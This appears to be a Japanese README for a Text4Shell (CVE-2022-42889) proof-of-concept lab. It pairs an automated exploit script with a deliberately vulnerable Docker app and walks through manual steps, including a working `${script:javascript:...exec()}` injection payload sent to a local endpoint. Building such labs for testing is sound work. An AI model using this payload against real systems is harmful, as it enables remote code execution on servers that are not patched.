
CVE-2022-42889(Text4Shell)用の自動エクスプロイト。テストと手動エクスプロイトガイダンス用の脆弱なDocker化アプリを備えています。
//自動ハッキング用: 1../install.sh
2../exploit.sh
3.アプリケーションを削除するには ./stopapp.sh を使用します
//手動ハッキング用:
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
dns または url プレフィックスも試すことができます。
コンテナIDを取得する
docker container ls
docker exec -it <container_id> bash
/tmpディレクトリにfooという名前のファイルが作成されているはずです):ls /tmp/
docker container stop <container_id>